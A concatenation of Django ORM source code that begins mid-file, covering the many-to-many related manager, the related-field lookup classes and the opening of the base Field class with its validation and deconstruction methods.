                self.source_field_name = rel.field.m2m_reverse_field_name()
                self.target_field_name = rel.field.m2m_field_name()
                self.symmetrical = False

            self.through = rel.through
            self.reverse = reverse

            self.source_field = self.through._meta.get_field(self.source_field_name)
            self.target_field = self.through._meta.get_field(self.target_field_name)

            self.core_filters = {}
            for lh_field, rh_field in self.source_field.related_fields:
                core_filter_key = '%s__%s' % (self.query_field_name, rh_field.name)
                self.core_filters[core_filter_key] = getattr(instance, rh_field.attname)

            self.related_val = self.source_field.get_foreign_related_value(instance)
            if None in self.related_val:
                raise ValueError('"%r" needs to have a value for field "%s" before '
                                 'this many-to-many relationship can be used.' %
                                 (instance, self.source_field_name))
            # Even if this relation is not to pk, we require still pk value.
            # The wish is that the instance has been already saved to DB,
            # although having a pk value isn't a guarantee of that.
            if instance.pk is None:
                raise ValueError("%r instance needs to have a primary key value before "
                                 "a many-to-many relationship can be used." %
                                 instance.__class__.__name__)

        def __call__(self, **kwargs):
            # We use **kwargs rather than a kwarg argument to enforce the
            # `manager='manager_name'` syntax.
            manager = getattr(self.model, kwargs.pop('manager'))
            manager_class = create_forward_many_to_many_manager(manager.__class__, rel, reverse)
            return manager_class(instance=self.instance)
        do_not_call_in_templates = True

        def _build_remove_filters(self, removed_vals):
            filters = Q(**{self.source_field_name: self.related_val})
            # No need to add a subquery condition if removed_vals is a QuerySet without
            # filters.
            removed_vals_filters = (not isinstance(removed_vals, QuerySet) or
                                    removed_vals._has_filters())
            if removed_vals_filters:
                filters &= Q(**{'%s__in' % self.target_field_name: removed_vals})
            if self.symmetrical:
                symmetrical_filters = Q(**{self.target_field_name: self.related_val})
                if removed_vals_filters:
                    symmetrical_filters &= Q(
                        **{'%s__in' % self.source_field_name: removed_vals})
                filters |= symmetrical_filters
            return filters

        def _apply_rel_filters(self, queryset):
            """
            Filter the queryset for the instance this manager is bound to.
            """
            queryset._add_hints(instance=self.instance)
            if self._db:
                queryset = queryset.using(self._db)
            return queryset._next_is_sticky().filter(**self.core_filters)

        def _remove_prefetched_objects(self):
            try:
                self.instance._prefetched_objects_cache.pop(self.prefetch_cache_name)
            except (AttributeError, KeyError):
                pass  # nothing to clear from cache

        def get_queryset(self):
            try:
                return self.instance._prefetched_objects_cache[self.prefetch_cache_name]
            except (AttributeError, KeyError):
                queryset = super(ManyRelatedManager, self).get_queryset()
                return self._apply_rel_filters(queryset)

        def get_prefetch_queryset(self, instances, queryset=None):
            if queryset is None:
                queryset = super(ManyRelatedManager, self).get_queryset()

            queryset._add_hints(instance=instances[0])
            queryset = queryset.using(queryset._db or self._db)

            query = {'%s__in' % self.query_field_name: instances}
            queryset = queryset._next_is_sticky().filter(**query)

            # M2M: need to annotate the query in order to get the primary model
            # that the secondary model was actually related to. We know that
            # there will already be a join on the join table, so we can just add
            # the select.

            # For non-autocreated 'through' models, can't assume we are
            # dealing with PK values.
            fk = self.through._meta.get_field(self.source_field_name)
            join_table = self.through._meta.db_table
            connection = connections[queryset.db]
            qn = connection.ops.quote_name
            queryset = queryset.extra(select={
                '_prefetch_related_val_%s' % f.attname:
                '%s.%s' % (qn(join_table), qn(f.column)) for f in fk.local_related_fields})
            return (
                queryset,
                lambda result: tuple(
                    getattr(result, '_prefetch_related_val_%s' % f.attname)
                    for f in fk.local_related_fields
                ),
                lambda inst: tuple(
                    f.get_db_prep_value(getattr(inst, f.attname), connection)
                    for f in fk.foreign_related_fields
                ),
                False,
                self.prefetch_cache_name,
            )

        def add(self, *objs):
            if not rel.through._meta.auto_created:
                opts = self.through._meta
                raise AttributeError(
                    "Cannot use add() on a ManyToManyField which specifies an "
                    "intermediary model. Use %s.%s's Manager instead." %
                    (opts.app_label, opts.object_name)
                )
            self._remove_prefetched_objects()
            db = router.db_for_write(self.through, instance=self.instance)
            with transaction.atomic(using=db, savepoint=False):
                self._add_items(self.source_field_name, self.target_field_name, *objs)

                # If this is a symmetrical m2m relation to self, add the mirror entry in the m2m table
                if self.symmetrical:
                    self._add_items(self.target_field_name, self.source_field_name, *objs)
        add.alters_data = True

        def remove(self, *objs):
            if not rel.through._meta.auto_created:
                opts = self.through._meta
                raise AttributeError(
                    "Cannot use remove() on a ManyToManyField which specifies "
                    "an intermediary model. Use %s.%s's Manager instead." %
                    (opts.app_label, opts.object_name)
                )
            self._remove_prefetched_objects()
            self._remove_items(self.source_field_name, self.target_field_name, *objs)
        remove.alters_data = True

        def clear(self):
            db = router.db_for_write(self.through, instance=self.instance)
            with transaction.atomic(using=db, savepoint=False):
                signals.m2m_changed.send(
                    sender=self.through, action="pre_clear",
                    instance=self.instance, reverse=self.reverse,
                    model=self.model, pk_set=None, using=db,
                )
                self._remove_prefetched_objects()
                filters = self._build_remove_filters(super(ManyRelatedManager, self).get_queryset().using(db))
                self.through._default_manager.using(db).filter(filters).delete()

                signals.m2m_changed.send(
                    sender=self.through, action="post_clear",
                    instance=self.instance, reverse=self.reverse,
                    model=self.model, pk_set=None, using=db,
                )
        clear.alters_data = True

        def set(self, objs, **kwargs):
            if not rel.through._meta.auto_created:
                opts = self.through._meta
                raise AttributeError(
                    "Cannot set values on a ManyToManyField which specifies an "
                    "intermediary model. Use %s.%s's Manager instead." %
                    (opts.app_label, opts.object_name)
                )

            # Force evaluation of `objs` in case it's a queryset whose value
            # could be affected by `manager.clear()`. Refs #19816.
            objs = tuple(objs)

            clear = kwargs.pop('clear', False)

            db = router.db_for_write(self.through, instance=self.instance)
            with transaction.atomic(using=db, savepoint=False):
                if clear:
                    self.clear()
                    self.add(*objs)
                else:
                    old_ids = set(self.using(db).values_list(self.target_field.target_field.attname, flat=True))

                    new_objs = []
                    for obj in objs:
                        fk_val = (
                            self.target_field.get_foreign_related_value(obj)[0]
                            if isinstance(obj, self.model) else obj
                        )
                        if fk_val in old_ids:
                            old_ids.remove(fk_val)
                        else:
                            new_objs.append(obj)

                    self.remove(*old_ids)
                    self.add(*new_objs)
        set.alters_data = True

        def create(self, **kwargs):
            # This check needs to be done here, since we can't later remove this
            # from the method lookup table, as we do with add and remove.
            if not self.through._meta.auto_created:
                opts = self.through._meta
                raise AttributeError(
                    "Cannot use create() on a ManyToManyField which specifies "
                    "an intermediary model. Use %s.%s's Manager instead." %
                    (opts.app_label, opts.object_name)
                )
            db = router.db_for_write(self.instance.__class__, instance=self.instance)
            new_obj = super(ManyRelatedManager, self.db_manager(db)).create(**kwargs)
            self.add(new_obj)
            return new_obj
        create.alters_data = True

        def get_or_create(self, **kwargs):
            db = router.db_for_write(self.instance.__class__, instance=self.instance)
            obj, created = super(ManyRelatedManager, self.db_manager(db)).get_or_create(**kwargs)
            # We only need to add() if created because if we got an object back
            # from get() then the relationship already exists.
            if created:
                self.add(obj)
            return obj, created
        get_or_create.alters_data = True

        def update_or_create(self, **kwargs):
            db = router.db_for_write(self.instance.__class__, instance=self.instance)
            obj, created = super(ManyRelatedManager, self.db_manager(db)).update_or_create(**kwargs)
            # We only need to add() if created because if we got an object back
            # from get() then the relationship already exists.
            if created:
                self.add(obj)
            return obj, created
        update_or_create.alters_data = True

        def _add_items(self, source_field_name, target_field_name, *objs):
            # source_field_name: the PK fieldname in join table for the source object
            # target_field_name: the PK fieldname in join table for the target object
            # *objs - objects to add. Either object instances, or primary keys of object instances.

            # If there aren't any objects, there is nothing to do.
            from django.db.models import Model
            if objs:
                new_ids = set()
                for obj in objs:
                    if isinstance(obj, self.model):
                        if not router.allow_relation(obj, self.instance):
                            raise ValueError(
                                'Cannot add "%r": instance is on database "%s", value is on database "%s"' %
                                (obj, self.instance._state.db, obj._state.db)
                            )
                        fk_val = self.through._meta.get_field(
                            target_field_name).get_foreign_related_value(obj)[0]
                        if fk_val is None:
                            raise ValueError(
                                'Cannot add "%r": the value for field "%s" is None' %
                                (obj, target_field_name)
                            )
                        new_ids.add(fk_val)
                    elif isinstance(obj, Model):
                        raise TypeError(
                            "'%s' instance expected, got %r" %
                            (self.model._meta.object_name, obj)
                        )
                    else:
                        new_ids.add(obj)

                db = router.db_for_write(self.through, instance=self.instance)
                vals = (self.through._default_manager.using(db)
                        .values_list(target_field_name, flat=True)
                        .filter(**{
                            source_field_name: self.related_val[0],
                            '%s__in' % target_field_name: new_ids,
                        }))
                new_ids = new_ids - set(vals)

                with transaction.atomic(using=db, savepoint=False):
                    if self.reverse or source_field_name == self.source_field_name:
                        # Don't send the signal when we are inserting the
                        # duplicate data row for symmetrical reverse entries.
                        signals.m2m_changed.send(
                            sender=self.through, action='pre_add',
                            instance=self.instance, reverse=self.reverse,
                            model=self.model, pk_set=new_ids, using=db,
                        )

                    # Add the ones that aren't there already
                    self.through._default_manager.using(db).bulk_create([
                        self.through(**{
                            '%s_id' % source_field_name: self.related_val[0],
                            '%s_id' % target_field_name: obj_id,
                        })
                        for obj_id in new_ids
                    ])

                    if self.reverse or source_field_name == self.source_field_name:
                        # Don't send the signal when we are inserting the
                        # duplicate data row for symmetrical reverse entries.
                        signals.m2m_changed.send(
                            sender=self.through, action='post_add',
                            instance=self.instance, reverse=self.reverse,
                            model=self.model, pk_set=new_ids, using=db,
                        )

        def _remove_items(self, source_field_name, target_field_name, *objs):
            # source_field_name: the PK colname in join table for the source object
            # target_field_name: the PK colname in join table for the target object
            # *objs - objects to remove
            if not objs:
                return

            # Check that all the objects are of the right type
            old_ids = set()
            for obj in objs:
                if isinstance(obj, self.model):
                    fk_val = self.target_field.get_foreign_related_value(obj)[0]
                    old_ids.add(fk_val)
                else:
                    old_ids.add(obj)

            db = router.db_for_write(self.through, instance=self.instance)
            with transaction.atomic(using=db, savepoint=False):
                # Send a signal to the other end if need be.
                signals.m2m_changed.send(
                    sender=self.through, action="pre_remove",
                    instance=self.instance, reverse=self.reverse,
                    model=self.model, pk_set=old_ids, using=db,
                )
                target_model_qs = super(ManyRelatedManager, self).get_queryset()
                if target_model_qs._has_filters():
                    old_vals = target_model_qs.using(db).filter(**{
                        '%s__in' % self.target_field.target_field.attname: old_ids})
                else:
                    old_vals = old_ids
                filters = self._build_remove_filters(old_vals)
                self.through._default_manager.using(db).filter(filters).delete()

                signals.m2m_changed.send(
                    sender=self.through, action="post_remove",
                    instance=self.instance, reverse=self.reverse,
                    model=self.model, pk_set=old_ids, using=db,
                )

    return ManyRelatedManager






from django.db.models.lookups import (
    Exact, GreaterThan, GreaterThanOrEqual, In, IsNull, LessThan,
    LessThanOrEqual,
)


class MultiColSource(object):
    contains_aggregate = False

    def __init__(self, alias, targets, sources, field):
        self.targets, self.sources, self.field, self.alias = targets, sources, field, alias
        self.output_field = self.field

    def __repr__(self):
        return "{}({}, {})".format(
            self.__class__.__name__, self.alias, self.field)

    def relabeled_clone(self, relabels):
        return self.__class__(relabels.get(self.alias, self.alias),
                              self.targets, self.sources, self.field)


def get_normalized_value(value, lhs):
    from django.db.models import Model
    if isinstance(value, Model):
        value_list = []
        sources = lhs.output_field.get_path_info()[-1].target_fields
        for source in sources:
            while not isinstance(value, source.model) and source.remote_field:
                source = source.remote_field.model._meta.get_field(source.remote_field.field_name)
            try:
                value_list.append(getattr(value, source.attname))
            except AttributeError:
                # A case like Restaurant.objects.filter(place=restaurant_instance),
                # where place is a OneToOneField and the primary key of Restaurant.
                return (value.pk,)
        return tuple(value_list)
    if not isinstance(value, tuple):
        return (value,)
    return value


class RelatedIn(In):
    def get_prep_lookup(self):
        if not isinstance(self.lhs, MultiColSource) and self.rhs_is_direct_value():
            # If we get here, we are dealing with single-column relations.
            self.rhs = [get_normalized_value(val, self.lhs)[0] for val in self.rhs]
            # We need to run the related field's get_prep_value(). Consider case
            # ForeignKey to IntegerField given value 'abc'. The ForeignKey itself
            # doesn't have validation for non-integers, so we must run validation
            # using the target field.
            if hasattr(self.lhs.output_field, 'get_path_info'):
                # Run the target field's get_prep_value. We can safely assume there is
                # only one as we don't get to the direct value branch otherwise.
                target_field = self.lhs.output_field.get_path_info()[-1].target_fields[-1]
                self.rhs = [target_field.get_prep_value(v) for v in self.rhs]
        return super(RelatedIn, self).get_prep_lookup()

    def as_sql(self, compiler, connection):
        if isinstance(self.lhs, MultiColSource):
            # For multicolumn lookups we need to build a multicolumn where clause.
            # This clause is either a SubqueryConstraint (for values that need to be compiled to
            # SQL) or a OR-combined list of (col1 = val1 AND col2 = val2 AND ...) clauses.
            from django.db.models.sql.where import WhereNode, SubqueryConstraint, AND, OR

            root_constraint = WhereNode(connector=OR)
            if self.rhs_is_direct_value():
                values = [get_normalized_value(value, self.lhs) for value in self.rhs]
                for value in values:
                    value_constraint = WhereNode()
                    for source, target, val in zip(self.lhs.sources, self.lhs.targets, value):
                        lookup_class = target.get_lookup('exact')
                        lookup = lookup_class(target.get_col(self.lhs.alias, source), val)
                        value_constraint.add(lookup, AND)
                    root_constraint.add(value_constraint, OR)
            else:
                root_constraint.add(
                    SubqueryConstraint(
                        self.lhs.alias, [target.column for target in self.lhs.targets],
                        [source.name for source in self.lhs.sources], self.rhs),
                    AND)
            return root_constraint.as_sql(compiler, connection)
        else:
            return super(RelatedIn, self).as_sql(compiler, connection)


class RelatedLookupMixin(object):
    def get_prep_lookup(self):
        if not isinstance(self.lhs, MultiColSource) and self.rhs_is_direct_value():
            # If we get here, we are dealing with single-column relations.
            self.rhs = get_normalized_value(self.rhs, self.lhs)[0]
            # We need to run the related field's get_prep_value(). Consider case
            # ForeignKey to IntegerField given value 'abc'. The ForeignKey itself
            # doesn't have validation for non-integers, so we must run validation
            # using the target field.
            if self.prepare_rhs and hasattr(self.lhs.output_field, 'get_path_info'):
                # Get the target field. We can safely assume there is only one
                # as we don't get to the direct value branch otherwise.
                target_field = self.lhs.output_field.get_path_info()[-1].target_fields[-1]
                self.rhs = target_field.get_prep_value(self.rhs)

        return super(RelatedLookupMixin, self).get_prep_lookup()

    def as_sql(self, compiler, connection):
        if isinstance(self.lhs, MultiColSource):
            assert self.rhs_is_direct_value()
            self.rhs = get_normalized_value(self.rhs, self.lhs)
            from django.db.models.sql.where import WhereNode, AND
            root_constraint = WhereNode()
            for target, source, val in zip(self.lhs.targets, self.lhs.sources, self.rhs):
                lookup_class = target.get_lookup(self.lookup_name)
                root_constraint.add(
                    lookup_class(target.get_col(self.lhs.alias, source), val), AND)
            return root_constraint.as_sql(compiler, connection)
        return super(RelatedLookupMixin, self).as_sql(compiler, connection)


class RelatedExact(RelatedLookupMixin, Exact):
    pass


class RelatedLessThan(RelatedLookupMixin, LessThan):
    pass


class RelatedGreaterThan(RelatedLookupMixin, GreaterThan):
    pass


class RelatedGreaterThanOrEqual(RelatedLookupMixin, GreaterThanOrEqual):
    pass


class RelatedLessThanOrEqual(RelatedLookupMixin, LessThanOrEqual):
    pass


class RelatedIsNull(RelatedLookupMixin, IsNull):
    pass






# -*- coding: utf-8 -*-
from __future__ import unicode_literals

import collections
import copy
import datetime
import decimal
import itertools
import uuid
import warnings
from base64 import b64decode, b64encode
from functools import total_ordering

from django import forms
from django.apps import apps
from django.conf import settings
from django.core import checks, exceptions, validators
# When the _meta object was formalized, this exception was moved to
# django.core.exceptions. It is retained here for backwards compatibility
# purposes.
from django.core.exceptions import FieldDoesNotExist  # NOQA
from django.db import connection, connections, router
from django.db.models.constants import LOOKUP_SEP
from django.db.models.query_utils import DeferredAttribute, RegisterLookupMixin
from django.utils import six, timezone
from django.utils.datastructures import DictWrapper
from django.utils.dateparse import (
    parse_date, parse_datetime, parse_duration, parse_time,
)
from django.utils.deprecation import (
    RemovedInDjango20Warning, warn_about_renamed_method,
)
from django.utils.duration import duration_string
from django.utils.encoding import (
    force_bytes, force_text, python_2_unicode_compatible, smart_text,
)
from django.utils.functional import Promise, cached_property, curry
from django.utils.ipv6 import clean_ipv6_address
from django.utils.itercompat import is_iterable
from django.utils.text import capfirst
from django.utils.translation import ugettext_lazy as _

# Avoid "TypeError: Item in ``from list'' not a string" -- unicode_literals
# makes these strings unicode
__all__ = [str(x) for x in (
    'AutoField', 'BLANK_CHOICE_DASH', 'BigAutoField', 'BigIntegerField',
    'BinaryField', 'BooleanField', 'CharField', 'CommaSeparatedIntegerField',
    'DateField', 'DateTimeField', 'DecimalField', 'DurationField',
    'EmailField', 'Empty', 'Field', 'FieldDoesNotExist', 'FilePathField',
    'FloatField', 'GenericIPAddressField', 'IPAddressField', 'IntegerField',
    'NOT_PROVIDED', 'NullBooleanField', 'PositiveIntegerField',
    'PositiveSmallIntegerField', 'SlugField', 'SmallIntegerField', 'TextField',
    'TimeField', 'URLField', 'UUIDField',
)]


class Empty(object):
    pass


class NOT_PROVIDED:
    pass

# The values to use for "blank" in SelectFields. Will be appended to the start
# of most "choices" lists.
BLANK_CHOICE_DASH = [("", "---------")]


def _load_field(app_label, model_name, field_name):
    return apps.get_model(app_label, model_name)._meta.get_field(field_name)


# A guide to Field parameters:
#
#   * name:      The name of the field specified in the model.
#   * attname:   The attribute to use on the model object. This is the same as
#                "name", except in the case of ForeignKeys, where "_id" is
#                appended.
#   * db_column: The db_column specified in the model (or None).
#   * column:    The database column for this field. This is the same as
#                "attname", except if db_column is specified.
#
# Code that introspects values, or does other dynamic things, should use
# attname. For example, this gets the primary key value of object "obj":
#
#     getattr(obj, opts.pk.attname)

def _empty(of_cls):
    new = Empty()
    new.__class__ = of_cls
    return new


@total_ordering
@python_2_unicode_compatible
class Field(RegisterLookupMixin):
    """Base class for all field types"""

    # Designates whether empty strings fundamentally are allowed at the
    # database level.
    empty_strings_allowed = True
    empty_values = list(validators.EMPTY_VALUES)

    # These track each time a Field instance is created. Used to retain order.
    # The auto_creation_counter is used for fields that Django implicitly
    # creates, creation_counter is used for all user-specified fields.
    creation_counter = 0
    auto_creation_counter = -1
    default_validators = []  # Default set of validators
    default_error_messages = {
        'invalid_choice': _('Value %(value)r is not a valid choice.'),
        'null': _('This field cannot be null.'),
        'blank': _('This field cannot be blank.'),
        'unique': _('%(model_name)s with this %(field_label)s '
                    'already exists.'),
        # Translators: The 'lookup_type' is one of 'date', 'year' or 'month'.
        # Eg: "Title must be unique for pub_date year"
        'unique_for_date': _("%(field_label)s must be unique for "
                             "%(date_field_label)s %(lookup_type)s."),
    }
    system_check_deprecated_details = None
    system_check_removed_details = None

    # Field flags
    hidden = False

    many_to_many = None
    many_to_one = None
    one_to_many = None
    one_to_one = None
    related_model = None

    # Generic field type description, usually overridden by subclasses
    def _description(self):
        return _('Field of type: %(field_type)s') % {
            'field_type': self.__class__.__name__
        }
    description = property(_description)

    def __init__(self, verbose_name=None, name=None, primary_key=False,
                 max_length=None, unique=False, blank=False, null=False,
                 db_index=False, rel=None, default=NOT_PROVIDED, editable=True,
                 serialize=True, unique_for_date=None, unique_for_month=None,
                 unique_for_year=None, choices=None, help_text='', db_column=None,
                 db_tablespace=None, auto_created=False, validators=[],
                 error_messages=None):
        self.name = name
        self.verbose_name = verbose_name  # May be set by set_attributes_from_name
        self._verbose_name = verbose_name  # Store original for deconstruction
        self.primary_key = primary_key
        self.max_length, self._unique = max_length, unique
        self.blank, self.null = blank, null
        self.remote_field = rel
        self.is_relation = self.remote_field is not None
        self.default = default
        self.editable = editable
        self.serialize = serialize
        self.unique_for_date = unique_for_date
        self.unique_for_month = unique_for_month
        self.unique_for_year = unique_for_year
        if isinstance(choices, collections.Iterator):
            choices = list(choices)
        self.choices = choices or []
        self.help_text = help_text
        self.db_index = db_index
        self.db_column = db_column
        self.db_tablespace = db_tablespace or settings.DEFAULT_INDEX_TABLESPACE
        self.auto_created = auto_created

        # Adjust the appropriate creation counter, and save our local copy.
        if auto_created:
            self.creation_counter = Field.auto_creation_counter
            Field.auto_creation_counter -= 1
        else:
            self.creation_counter = Field.creation_counter
            Field.creation_counter += 1

        self._validators = validators  # Store for deconstruction later

        messages = {}
        for c in reversed(self.__class__.__mro__):
            messages.update(getattr(c, 'default_error_messages', {}))
        messages.update(error_messages or {})
        self._error_messages = error_messages  # Store for deconstruction later
        self.error_messages = messages

    def __str__(self):
        """ Return "app_label.model_label.field_name". """
        model = self.model
        app = model._meta.app_label
        return '%s.%s.%s' % (app, model._meta.object_name, self.name)

    def __repr__(self):
        """
        Displays the module, class and name of the field.
        """
        path = '%s.%s' % (self.__class__.__module__, self.__class__.__name__)
        name = getattr(self, 'name', None)
        if name is not None:
            return '<%s: %s>' % (path, name)
        return '<%s>' % path

    def check(self, **kwargs):
        errors = []
        errors.extend(self._check_field_name())
        errors.extend(self._check_choices())
        errors.extend(self._check_db_index())
        errors.extend(self._check_null_allowed_for_primary_keys())
        errors.extend(self._check_backend_specific_checks(**kwargs))
        errors.extend(self._check_deprecation_details())
        return errors

    def _check_field_name(self):
        """ Check if field name is valid, i.e. 1) does not end with an
        underscore, 2) does not contain "__" and 3) is not "pk". """

        if self.name.endswith('_'):
            return [
                checks.Error(
                    'Field names must not end with an underscore.',
                    obj=self,
                    id='fields.E001',
                )
            ]
        elif LOOKUP_SEP in self.name:
            return [
                checks.Error(
                    'Field names must not contain "%s".' % (LOOKUP_SEP,),
                    obj=self,
                    id='fields.E002',
                )
            ]
        elif self.name == 'pk':
            return [
                checks.Error(
                    "'pk' is a reserved word that cannot be used as a field name.",
                    obj=self,
                    id='fields.E003',
                )
            ]
        else:
            return []

    @property
    def rel(self):
        warnings.warn(
            "Usage of field.rel has been deprecated. Use field.remote_field instead.",
            RemovedInDjango20Warning, 2)
        return self.remote_field

    def _check_choices(self):
        if self.choices:
            if (isinstance(self.choices, six.string_types) or
                    not is_iterable(self.choices)):
                return [
                    checks.Error(
                        "'choices' must be an iterable (e.g., a list or tuple).",
                        obj=self,
                        id='fields.E004',
                    )
                ]
            elif any(isinstance(choice, six.string_types) or
                     not is_iterable(choice) or len(choice) != 2
                     for choice in self.choices):
                return [
                    checks.Error(
                        "'choices' must be an iterable containing "
                        "(actual value, human readable name) tuples.",
                        obj=self,
                        id='fields.E005',
                    )
                ]
            else:
                return []
        else:
            return []

    def _check_db_index(self):
        if self.db_index not in (None, True, False):
            return [
                checks.Error(
                    "'db_index' must be None, True or False.",
                    obj=self,
                    id='fields.E006',
                )
            ]
        else:
            return []

    def _check_null_allowed_for_primary_keys(self):
        if (self.primary_key and self.null and
                not connection.features.interprets_empty_strings_as_nulls):
            # We cannot reliably check this for backends like Oracle which
            # consider NULL and '' to be equal (and thus set up
            # character-based fields a little differently).
            return [
                checks.Error(
                    'Primary keys must not have null=True.',
                    hint=('Set null=False on the field, or '
                          'remove primary_key=True argument.'),
                    obj=self,
                    id='fields.E007',
                )
            ]
        else:
            return []

    def _check_backend_specific_checks(self, **kwargs):
        app_label = self.model._meta.app_label
        for db in connections:
            if router.allow_migrate(db, app_label, model_name=self.model._meta.model_name):
                return connections[db].validation.check_field(self, **kwargs)
        return []

    def _check_deprecation_details(self):
        if self.system_check_removed_details is not None:
            return [
                checks.Error(
                    self.system_check_removed_details.get(
                        'msg',
                        '%s has been removed except for support in historical '
                        'migrations.' % self.__class__.__name__
                    ),
                    hint=self.system_check_removed_details.get('hint'),
                    obj=self,
                    id=self.system_check_removed_details.get('id', 'fields.EXXX'),
                )
            ]
        elif self.system_check_deprecated_details is not None:
            return [
                checks.Warning(
                    self.system_check_deprecated_details.get(
                        'msg',
                        '%s has been deprecated.' % self.__class__.__name__
                    ),
                    hint=self.system_check_deprecated_details.get('hint'),
                    obj=self,
                    id=self.system_check_deprecated_details.get('id', 'fields.WXXX'),
                )
            ]
        return []

    def get_col(self, alias, output_field=None):
        if output_field is None:
            output_field = self
        if alias != self.model._meta.db_table or output_field != self:
            from django.db.models.expressions import Col
            return Col(alias, self, output_field)
        else:
            return self.cached_col

    @cached_property
    def cached_col(self):
        from django.db.models.expressions import Col
        return Col(self.model._meta.db_table, self)

    def select_format(self, compiler, sql, params):
        """
        Custom format for select clauses. For example, GIS columns need to be
        selected as AsText(table.col) on MySQL as the table.col data can't be used
        by Django.
        """
        return sql, params

    def deconstruct(self):
        """
        Returns enough information to recreate the field as a 4-tuple:

         * The name of the field on the model, if contribute_to_class has been run
         * The import path of the field, including the class: django.db.models.IntegerField
           This should be the most portable version, so less specific may be better.
         * A list of positional arguments
         * A dict of keyword arguments

        Note that the positional or keyword arguments must contain values of the
        following types (including inner values of collection types):

         * None, bool, str, unicode, int, long, float, complex, set, frozenset, list, tuple, dict
         * UUID
         * datetime.datetime (naive), datetime.date
         * top-level classes, top-level functions - will be referenced by their full import path
         * Storage instances - these have their own deconstruct() method

        This is because the values here must be serialized into a text format
        (possibly new Python code, possibly JSON) and these are the only types
        with encoding handlers defined.

        There's no need to return the exact way the field was instantiated this time,
        just ensure that the resulting field is the same - prefer keyword arguments
        over positional ones, and omit parameters with their default values.
        """
        # Short-form way of fetching all the default parameters
        keywords = {}
        possibles = {
            "verbose_name": None,
            "primary_key": False,
            "max_length": None,
            "unique": False,
            "blank": False,
            "null": False,
            "db_index": False,
            "default": NOT_PROVIDED,
            "editable": True,
            "serialize": True,
            "unique_for_date": None,
            "unique_for_month": None,
            "unique_for_year": None,
            "choices": [],
            "help_text": '',
            "db_column": None,
            "db_tablespace": settings.DEFAULT_INDEX_TABLESPACE,
            "auto_created": False,
            "validators": [],
            "error_messages": None,
        }
        attr_overrides = {
            "unique": "_unique",
            "error_messages": "_error_messages",
            "validators": "_validators",
            "verbose_name": "_verbose_name",
        }
        equals_comparison = {"choices", "validators", "db_tablespace"}
        for name, default in possibles.items():
            value = getattr(self, attr_overrides.get(name, name))
            # Unroll anything iterable for choices into a concrete list
            if name == "choices" and isinstance(value, collections.Iterable):
                value = list(value)
            # Do correct kind of comparison
            if name in equals_comparison:
                if value != default:
                    keywords[name] = value
            else:
                if value is not default:
                    keywords[name] = value
        # Work out path - we shorten it for known Django core fields
        path = "%s.%s" % (self.__class__.__module__, self.__class__.__name__)
        if path.startswith("django.db.models.fields.related"):
            path = path.replace("django.db.models.fields.related", "django.db.models")
        if path.startswith("django.db.models.fields.files"):
            path = path.replace("django.db.models.fields.files", "django.db.models")
        if path.startswith("django.db.models.fields.proxy"):
            path = path.replace("django.db.models.fields.proxy", "django.db.models")
        if path.startswith("django.db.models.fields"):
            path = path.replace("django.db.models.fields", "django.db.models")
        # Return basic info - other fields should override this.
        return (
            force_text(self.name, strings_only=True),
            path,
            [],
            keywords,
        )

    def clone(self):
        """
        Uses deconstruct() to clone a new copy of this Field.
        Will not preserve any class attachments/attribute names.
        """
        name, path, args, kwargs = self.deconstruct()
        return self.__class__(*args, **kwargs)

    def __eq__(self, other):
        # Needed for @total_ordering
        if isinstance(other, Field):
            return self.creation_counter == other.creation_counter
        return NotImplemented

    def __lt__(self, other):
        # This is needed because bisect does not take a comparison function.
        if isinstance(other, Field):
            return self.creation_counter < other.creation_counter
        return NotImplemented

    def __hash__(self):
        return hash(self.creation_counter)

    def __deepcopy__(self, memodict):
        # We don't have to deepcopy very much here, since most things are not
        # intended to be altered after initial creation.
        obj = copy.copy(self)
        if self.remote_field:
            obj.remote_field = copy.copy(self.remote_field)
            if hasattr(self.remote_field, 'field') and self.remote_field.field is self:
                obj.remote_field.field = obj
        memodict[id(self)] = obj
        return obj

    def __copy__(self):
        # We need to avoid hitting __reduce__, so define this
        # slightly weird copy construct.
        obj = Empty()
        obj.__class__ = self.__class__
        obj.__dict__ = self.__dict__.copy()
        return obj

    def __reduce__(self):
        """
        Pickling should return the model._meta.fields instance of the field,
        not a new copy of that field. So, we use the app registry to load the
        model and then the field back.
        """
        if not hasattr(self, 'model'):
            # Fields are sometimes used without attaching them to models (for
            # example in aggregation). In this case give back a plain field
            # instance. The code below will create a new empty instance of
            # class self.__class__, then update its dict with self.__dict__
            # values - so, this is very close to normal pickle.
            return _empty, (self.__class__,), self.__dict__
        return _load_field, (self.model._meta.app_label, self.model._meta.object_name,
                             self.name)

    def get_pk_value_on_save(self, instance):
        """
        Hook to generate new PK values on save. This method is called when
        saving instances with no primary key value set. If this method returns
        something else than None, then the returned value is used when saving
        the new instance.
        """
        if self.default:
            return self.get_default()
        return None

    def to_python(self, value):
        """
        Converts the input value into the expected Python data type, raising
        django.core.exceptions.ValidationError if the data can't be converted.
        Returns the converted value. Subclasses should override this.
        """
        return value

    @cached_property
    def validators(self):
        """
        Some validators can't be created at field initialization time.
        This method provides a way to delay their creation until required.
        """
        return list(itertools.chain(self.default_validators, self._validators))

    def run_validators(self, value):
        if value in self.empty_values:
            return

        errors = []
        for v in self.validators:
            try:
                v(value)
            except exceptions.ValidationError as e:
                if hasattr(e, 'code') and e.code in self.error_messages:
                    e.message = self.error_messages[e.code]
                errors.extend(e.error_list)

        if errors:
            raise exceptions.ValidationError(errors)

    def validate(self, value, model_instance):
        """
        Validates value and throws ValidationError. Subclasses should override
        this to provide validation logic.
        """
        if not self.editable:
            # Skip validation for non-editable fields.
            return

        if self.choices and value not in self.empty_values:
            for option_key, option_value in self.choices:
                if isinstance(option_value, (list, tuple)):
                    # This is an optgroup, so look inside the group for
                    # options.
                    for optgroup_key, optgroup_value in option_value:
                        if value == optgroup_key:
                            return
                elif value == option_key:
                    return
            raise exceptions.ValidationError(
                self.error_messages['invalid_choice'],
                code='invalid_choice',
                params={'value': value},
            )

        if value is None and not self.null:
            raise exceptions.ValidationError(self.error_messages['null'], code='null')

        if not self.blank and value in self.empty_values:
            raise exceptions.ValidationError(self.error_messages['blank'], code='blank')

    def clean(self, value, model_instance):
        """
        Convert the value's type and run validation. Validation errors
        from to_python and validate are propagated. The correct value is
        returned if no error is raised.
        """
        value = self.to_python(value)
        self.validate(value, model_instance)
        self.run_validators(value)
        return value

    def db_check(self, connection):
        """
        Return the database column check constraint for this field, for the
        provided connection. Works the same way as db_type() for the case that
        get_internal_type() does not map to a preexisting model field.
        """
        data = DictWrapper(self.__dict__, connection.ops.quote_name, "qn_")
        try:
            return connection.data_type_check_constraints[self.get_internal_type()] % data
        except KeyError:
            return None

